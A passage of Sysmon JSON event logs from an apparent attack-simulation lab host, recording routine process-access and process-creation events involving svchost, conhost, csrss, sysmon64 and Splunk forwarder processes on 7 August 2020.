11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4175-5F2D-0000-00108BCB0800}\r\nTargetProcessId: 1188\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4175-5F2D-0000-00108BCB0800}","TargetProcessId":"1188","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.137\r\nProcessGuid: {90617006-4176-5F2D-0000-0010E1CD0800}\r\nProcessId: 4712\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.137","ProcessGuid":"{90617006-4176-5F2D-0000-0010E1CD0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010E1CD0800}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010E1CD0800}","TargetProcessId":"4712","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010E1CD0800}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010E1CD0800}","TargetProcessId":"4712","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 